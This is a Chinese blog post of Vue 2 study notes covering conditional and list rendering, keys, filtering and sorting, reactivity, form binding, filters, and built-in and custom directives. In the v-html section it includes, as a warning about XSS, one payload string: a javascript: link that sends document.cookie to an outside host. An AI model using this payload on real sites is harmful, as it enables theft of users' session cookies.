Vue基础学习笔记(三)

目录

21.条件渲染

 22.列表渲染

23.key的作用和原理 

​编辑 24.列表过滤

25.列表排序 

 26.Vue监视数据的原理

27.收集表单数据 

​编辑28.过滤器

29.内置指令

 30.自定义指令-函数式和对象式


21.条件渲染

条件渲染:

1.v-if

        写法:

        (1)v-if='表达式'

        (2)v-else-if='表达式'

        (3)v-else='表达式'

        适用于:切换频率较低的场景

        特点:不展示的dom元素直接移除

        注意:v-if可以和v-else-if,v-else一起使用,要求结构不能被打断

如:

<h2 v-if='n==1'></h2>
<h2 v-else-if='n==2'></h2>
<h2>打断结构</h2>
<h2 v-else></h2>

        这样的写法是不对的

2.v-show

        写法:v-show='表达式'

        适用于:切换频率较高的场景

        特点:不展示的Domain元素未被移除,仅仅是使用样式隐藏掉

3.备注:使用v-if时元素可能无法获取到,而使用v-show一定可以获取到

  <body>
    <div id="root">
      <!--使用v-show做条件渲染-->
      <h2 v-show="false">hello</h2>
      <h2 v-show="1==1">world</h2>
      <br>
      <!--使用v-if和v-else-if和v-else做条件渲染-->
      <h2>当前的值为{{n}}</h2>
      <button @click="n++">点我n+1</button>
      <div v-if="n==1">1</div>
      <div v-else-if="n==2">2</div>
      <div v-else-if="n==3">3</div>
      <div v-else>esle结构</div>
      <br>
      <!--v-if与template的配合使用-->
      <template v-if="n==1">
        <h2>666</h2>
        <h2>菜虚鲲</h2>
        <h2>阿里巴巴</h2>
      </template>
    </div>
    <!--创建vue实例 -->
    <script type="text/javascript">
      const vm = new Vue({
        el: "#root",
        data: {
          name:'啊哈',
          n:0,
          },
        methods: {
         
        }, 
      });
    </script>
  </body>

 22.列表渲染

v-for指令:

1.用于展示列表数据

2.语法:v-for='(item,index) in xxx' :key='yyy'

3.可遍历,数组,对象,字符串(用的少),指定次数(用到很少)

<body>
    <div id="root">
      <!--遍历数组-->
      <h1>人员信息(遍历数组)</h1>
      <ul>
        <li v-for="(p,index) in persons" :key="p.id">{{p.name}}--{{p.age}}</li>
      </ul>
      <hr />
      <!--遍历对象-->
      <h1>汽车信息(遍历对象)</h1>
      <ul>
        <li v-for="(k,value) in car" :key="index">{{value}}--{{k}}</li>
      </ul>
      <hr />
      <!--遍历字符串-->
      <h1>测试遍历字符串(用的少)</h1>
      <ul>
        <li v-for="(char,index) in str" :key="index">{{char}}--{{index}}</li>
      </ul>
      <hr />
      <!-- 遍历指定次数 -->
      <h1>遍历指定次数(用到少)</h1>
      <ul>
        <li v-for="(number,index) in 5">{{number}}--{{index}}</li>
      </ul>
      <hr />
    </div>
    <!--创建vue实例 -->
    <script type="text/javascript">
      const vm = new Vue({
        el: "#root",
        data: {
          persons: [
            { id: "001", name: "菜虚鲲", age: "18" },
            { id: "002", name: "马户", age: "19" },
            { id: "003", name: "小马云", age: "20" },
          ],
          car: {
            name: "A8",
            price: "70万",
            color: "black",
          },
          str: "hello",
        },
        methods: {},
      });
    </script>
  </body>

23.key的作用和原理 

面试题:react,vue中的key有什么作用(key的内部原理)

1.虚拟DOM中Key的作用

        key是虚拟对象的标识,当数据发生变化时,vue会根据[新数据]生成[新的虚拟DOM]

随后vue进行[新的虚拟DOM]与[旧的虚拟DOM]的差异比较,比较规则如下:

2.对比规则:

        (1)旧虚拟DOM中找到了与新虚拟DOM相同的key:

        1、若虚拟DOM中内容没变,直接使用之前的真实DOM

        2、若虚拟DOM中内容变了,则生成新的真实DOM,随后替换页面中之前的真实DOM

        (2)旧虚拟DOM中未找到与新虚拟DOM相同的key

        创建新的真实DOM,随后渲染到页面

3.用index作为key可能会引发的问题

        1.若对数据进行:逆序添加,逆序删除等跑环顺序操作

        会产生没有必要的真实DOM更新==>界面效果没有问题,但效率低

        2.如果结构中还包括输入类的DOM:

        会产生错误DOM更新===>界面有问题

4.开发如何选择key?

        1.最好使用每一条数据的唯一标识作为key,比如id,手机号,身份证号,学号等唯一值

        2.如果不存在对数据的逆序添加,逆序删除顺序操作,只用于渲染列表用于展示,使用index作为key是没有问题的

 24.列表过滤

<body>
    <div id="root">
      <h2>人员列表</h2>
      <input type="text" placeholder="请输入人名" v-model="keyWord" />
      <ul>
        <li v-for="(p,index) in filPersons" :key="p.id">
          {{p.name}}--{{p.age}}--{{p.sex}}
        </li>
      </ul>
    </div>
    <!--创建vue实例 -->
    <script type="text/javascript">
      const vm = new Vue({
        el: "#root",
        data: {
          keyWord: "",
          persons: [
            { id: "001", name: "马冬梅", age: "18", sex: "女" },
            { id: "002", name: "周冬雨", age: "19", sex: "女" },
            { id: "003", name: "周杰伦", age: "20", sex: "男" },
            { id: "004", name: "温兆伦", age: "21", sex: "男" },
          ],
          // filPersons:[]
        },
        methods: {
          add() {
            const p = { id: "004", name: "老王", age: "40" };
            this.persons.unshift(p);
          },
        },
        //用watch实现
        /*       watch:{
          ketword:{
            immediate:true,
            handler(val){
              this.filPersons = this.persons.filter((p)=>{
                return p.name.indexOf(val)!==-1
              })
            }
          }
        }*/
        //用computed实现
        computed: {
          filPersons() {
            return this.persons.filter((p) => {
              return p.name.indexOf(this.keyWord) !== -1;
            });
          },
        },
      });
    </script>
  </body>

25.列表排序 

 <body>
    <div id="root">
      <h2>人员列表</h2>
      <input type="text" placeholder="请输入人名" v-model="keyWord" />
      <button @click="sortType=2">年龄升序</button>
      <button @click="sortType=1">年龄降序</button>
      <button @click="sortType=0">原顺序</button>
      <ul>
        <li v-for="(p,index) in filPersons" :key="p.id">
          {{p.name}}--{{p.age}}--{{p.sex}}
        </li>
      </ul>
    </div>
    <!--创建vue实例 -->
    <script type="text/javascript">
      const vm = new Vue({
        el: "#root",
        data: {
          sortType: 0, //0原顺序,1降序,2升序
          keyWord: "",
          persons: [
            { id: "001", name: "马冬梅", age: "18", sex: "女" },
            { id: "002", name: "周冬雨", age: "19", sex: "女" },
            { id: "003", name: "周杰伦", age: "25", sex: "男" },
            { id: "004", name: "周虚鲲", age: "21", sex: "男" },
          ],
          // filPersons:[]
        },
        //用computed实现
        computed: {
          filPersons() {
            const arr = this.persons.filter((p) => {
              return p.name.indexOf(this.keyWord) !== -1;
            });
            //判断一下是否排序
            if (this.sortType) {
              arr.sort((p1, p2) => {
                return this.sortType == 1 ? p2.age - p1.age : p1.age - p2.age;
              });
            }
            return arr;
          },
        },
      });
    </script>
  </body>
演示:

 26.Vue监视数据的原理

1.vue会监视data中所有层次的数据

2.如何监视对象中的数据?

        通过setter实现监视且要在new Vue时就传入要监视的的数据

        (1)对象中后追加的属性,Vue默认不做响应式处理

        (2)如需给后添加的属性做响应式。要用如下的API

        Vue.set(target.propertyName/index,value)或

        vm.$set(target,propertyName/index,value)

3.如何监测数组中的数据

        通过包裹数组更新元素的方法实现,本质就是做了两件事

        (1)调用原生对应的方法对数组进行更新

        (2)重新解析模板,进而更新页面

4.在Vue修改数组中某个元素一定要用如下方法

        (1)使用这些API:push(),pop(),shift(),unshift(),splice(),sort(),reverse()

        (2)Vue.set()或vm.$set()

特别注意:Vue.set()和vm.$set()不能给vm或vm的根数据对象添加属性

<body>
    <div id="root">
      <h1>学生信息</h1>
      <button @click="student.age++">年龄加一岁</button><br />
      <button @click="addSex">添加性别属性,默认值:男</button><br />
      <button @click="student.sex='未知'">修改性别</button><br />
      <button @click="addFriend">在列表首位添加一个朋友</button><br />
      <button @click="updataFirstFriendName">
        修改第一个朋友的名字为:菜虚鲲</button
      ><br />
      <button @click="addhobby">添加一个爱好</button><br />
      <button @click="drive">修改第一个爱好为打篮球</button><br />
      <button @click="remove">过滤掉爱好中的抽烟</button>
      <h3>姓名:{{student.name}}</h3>
      <h3>年龄:{{student.age}}</h3>
      <h3 v-if="student.sex">性别:{{student.sex}}</h3>
      <h3>爱好:</h3>
      <ul>
        <li v-for="(h,index) in student.hobby" :key="index">{{h}}</li>
      </ul>
      <h3>朋友们:</h3>
      <li v-for="(f,index) in student.friends" :key="index">
        {{f.name}}--{{f.age}}
      </li>
    </div>
    <!--创建vue实例 -->
    <script type="text/javascript">
      const vm = new Vue({
        el: "#root",
        data: {
          student: {
            name: "tom",
            age: 18,
            hobby: ["抽烟", "喝酒", "烫头"],
            friends: [
              { name: "小马云", age: 35 },
              { name: "驴德华", age: 99 },
            ],
          },
        },
        //用computed实现
        methods: {
          addSex() {
            // Vue.set(this.student,'sex','男')
            vm.$set(this.student, "sex", "男");
          },
          addFriend() {
            this.student.friends.unshift({ name: "马化腾", age: 70 });
          },
          updataFirstFriendName() {
            this.student.friends[0].name = "菜虚鲲";
          },
          addhobby() {
            this.student.hobby.push("rap");
          },
          drive() {
            this.student.hobby.splice(0, 1, "打篮球");
          },
          remove() {
            this.student.hobby = this.student.hobby.filter((h) => {
              return h != "抽烟";
            });
          },
        },
      });
    </script>
  </body>

27.收集表单数据 

收集表单数据

        1.input type=‘text’,则v-model收集的是value值,用户输入的就是value值

        2.input type='radio',则v-model收集的value值,且要给标签配置value值

        3.input type='checkbox',那么收集的就是checked

        (1).没有配置input的value属性,那么收集的就是checked(勾选或未勾选,是布尔值)

        (2).配置input的value属性

                1.v-model的初始值是非数组,那么收集的就是checked(勾选或未勾选,是布尔值)          

                2.v-model的初始值是数组,那么收集的就是value组成的数组

        4.v-model的三个修饰符:

        lazy:失去焦点再收集数据

        number:输入字符串转为有效的数字

        trim:输入首尾空格过滤

<body>
    <div id="root">
      <form @submit.prevent="demo">
        账号:<input type="text" v-model.trim="userinfo.account"><br>
        密码:<input type="password" v-model='userinfo.password' ><br>
        年龄:<input type="number" v-model.number="userinfo.age"><br>
        性别:
        男<input type="radio" name="sex" v-model="userinfo.sex" value="male"  >
        女<input type="radio" name="sex" v-model="userinfo.sex" value="female"  ><br>
        爱好:
        学习:<input type="checkbox" v-model="userinfo.hobby" value="study" >
        打游戏:<input type="checkbox"  v-model="userinfo.hobby" value="game" >
        吃饭:<input type="checkbox"  v-model="userinfo.hobby" value="eat" >
        <br>
        所属校区:
        <select v-model="userinfo.city" >
            <option value="">请选择校区</option>
            <option value="beijing">北京</option>
            <option value="shanghai">上海</option>
            <option value="shenzhen">深圳</option>
            <option value="wuhan">武汉</option>
        </select>
        <br>
        其他信息:
        <textarea v-model.lazy="userinfo.other" ></textarea>
        <br>
        <input type="checkbox" v-model="userinfo.agree" >阅读并接受<a href="">用户协议</a>
        <button>提交</button>
    </div>
    <!--创建vue实例 -->
    <script type="text/javascript">
      const vm = new Vue({
        el: "#root",
        data: {
          userinfo:{
                account:'',
                password:'',
                age:'',
                sex:'male',
                hobby:[],
                city:'',
                other:'',
                agree:'',
            }
        },
        methods: {
            demo(){
                alert(JSON.stringify(this.userinfo))
            }
        },
      });
    </script>
  </body>

28.过滤器

过滤器:

        定义:对要显示的数据进行特定格式化后显示(适用一些简单逻辑的处理)

        语法:

        1.注册过滤器Vue.filter(name,classback)或new Vue(filter:{})

        2.使用过滤器:{{xxx|过滤器名}}或v-bind:属性='xxx|过滤器名'

        备注:

        1.过滤器也可以接受额外参数,多个过滤器也可以串联

        2.并没有改变原理的数据,是产生新的对应属性

<body>
    <div id="root">
      <h2>显示格式化后的时间</h2>
      <!-- 计算属性实现 -->
      <h3>现在是:{{fmtTime}}</h3>
      <!-- methods实现 -->
      <h3>现在是{{getFmtTime()}}</h3>
      <!-- 过滤器实现 -->
      <h3>现在是:{{time | timeFormater}}</h3>
      <!-- 过滤器实现(传参) -->
      <h3>现在是:{{time | timeFormater('YYYY_MM_DD')|myslice}}</h3>
      <h3 :x="msg |myslice">阿托莉</h3>
    </div>
    <div id="root2">
      <h1>{{name|myslice}}</h1>
    </div>
    <script type="text/javascript">
      //    全局过滤器
      Vue.filter("myslice", function (value) {
        return value.slice(0, 4);
      });
      const vm = new Vue({
        el: "#root",
        data: {
          time: Date.now(),
          msg: "时间啊,你是多么美丽",
        },
        methods: {
          getFmtTime() {
            return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
          },
        },
        computed: {
          fmtTime() {
            return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
          },
        },
        //局部过滤器
        filters: {
          timeFormater(value, str = "YYYY年MM月DD日 HH:mm:ss") {
            return dayjs(value).format(str);
          },
        },
      });
      new Vue({
        el: "#root2",
        data: {
          name: "hello world",
        },
      });
    </script>
  </body>

29.内置指令

1.v-bind:单向绑定解析表达式,可简写为:xxx

2.v-model:双向数据绑定

3.v-for:遍历数组/对象/字符串

4.v-on:绑定事件监听,可简写为@

5.v-if:条件渲染(动态控制节点是否存在)

6.v-else:条件渲染(动态控制节点是否存在)

7.v-show:条件渲染(动态控制节点是否展示)

v-text指令:

1.作用:向其所在的节点中渲染文本内容

2.与插值语法的区别:v-text会替换掉节点中的全部内容,{{xxx}}不会

 <body>
    <div id="root">
      <div>你好,{{name}}</div>
      <div v-text="str">hello</div>
    </div>
    <script type="text/javascript">
      const vm = new Vue({
        el: "#root",
        data: {
          name: "呆瓜小罗",
          str: "坚持下去!积少成多!",
        },
      });
    </script>
  </body>

v-html指令:

1.作用:向指定节点中渲染包含HTML结构的内容

2.与插值语法的区别:

(1)v-html会替换节点中所有的内容。{{xx}}则不会

(2)v-html可以识别HTML结构

3.严重注意:v-html有安全性问题

(1)在网站上动态渲染任意HTML是十分危险的,容易导致xss攻击

(2)一定要在可信的内容上使用v-html,永远不压用在用户提交的内容上

 <body>
    <div id="root">
      <div>你好,{{name}}</div>
      <div v-text="str">hello</div>
      <div v-html="str2"></div>
      <div v-html="str3"></div>
    </div>
    <script type="text/javascript">
      const vm = new Vue({
        el: "#root",
        data: {
          name: "呆瓜小罗",
          str: "坚持下去!积少成多!",
          str2:'<h1>你好</h1>',
          str3:'<a href=JavaScript:location.href="http://www.baidu.com?"+document.cookie>盗取本网页cookie</a>'
        },
      });
    </script>
  </body>

结果展示:

v-cloak

1.本质是一个特殊属性,vue实例完毕并接管容器后,会删掉v-cloak属性

2.使用css配合v-cloak可以解决网速慢时网页显示{{xxx}}的问题

v-once

1.v-once所在节点在初次动态渲染后,就视为静态内容了

2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

<body>
    <div id="root">
      <h2 v-once>初始化的n值为{{n}}</h2>
      <h2>当前的n值为{{n}}</h2>
      <button @click="n++">点我n+1</button>
    </div>
    <script>
      const vm = new Vue({
        el: "#root",
        data: {
          n:1
        },
      })
    </script>
  </body>

v-pre

1.跳过其所在节点的便宜

2.可以利用它跳过:没有使用指令语法,没有使用插值语法的节点,会加快编译

<body>
    <div id="root">
      <h2 v-pre>v-pre跳过编译</h2>
      <h2 v-once v-pre>初始化的n值为{{n}}</h2>
      <h2>当前的n值为{{n}}</h2>
      <button @click="n++">点我n+1</button>
    </div>
    <script>
      const vm = new Vue({
        el: "#root",
        data: {
          n:1
        },
      })
    </script>
  </body>

 30.自定义指令-函数式和对象式

自定义指令总结:

一、定义语法:

        (1)局部指令:

        new Vue({

        directives:{指令名:配置对象}

        })

        或

        new Vue({

        directves(){}

        })

        (2)全局指令:

        Vue.directive(指令名,配置对象)或Vue.directive(指令名,回调函数)

二、配置对象中常用的3个回调:

        (1)bind:指令与元素成功绑定时调用

        (2)inserted:指令所在元素被插入页面时调用

        (3)update:指令所在模板被重新时调用。

三、备注:

        1.指令定义时不加v-,但使用时要加v-

        2.指令名如果是多个单词,要使用Kebab-case命名方式,不要用camelCase命名

 <body>
    <!-- 
        需求1:定义一个v-big指令,和v-text功能类似,但是会把绑定的数据放大10倍
        需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的元素自动获取焦点
     -->
    <div id="root">
      <h1>{{str}}</h1>
      <h2>当前的n值是:<span v-text="n"></span></h2>
      <h2>放大10倍后的n值是:<span v-big="n">放大10倍后的n值是:</span></h2>
      <button @click="n++">点我n+1</button>
      <hr />
      <input type="text" v-fbind:value="n" />
    </div>
    <script>
      const vm = new Vue({
        el: "#root",
        data: {
          str: "我口袋只有玫瑰一片,此行又山高路远",
          n: 1,
        },
        directives: {
          // big函数何时会被调用?1.指令于元素成功绑定时(一上来)2.指令所在的模板被重新解析时
          big(element,binding){
            console.log('big被调用')
            element.innerText=binding.value*10
          },
          fbind(element, binding) {
            element.value = binding.value;
          },
          //指令所在元素被插入页面时
          inserted(element, binding) {
            element.focus();
          },
          //指令所在的模板被重新解析时
          update(element, binding) {
            element.value = binding.value;
          },
        },
      });
    </script>
  </body>

 


 上一篇:Vue基础学习笔记(二)-CSDN博客

下一篇:Vue基础学习笔记(四)-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值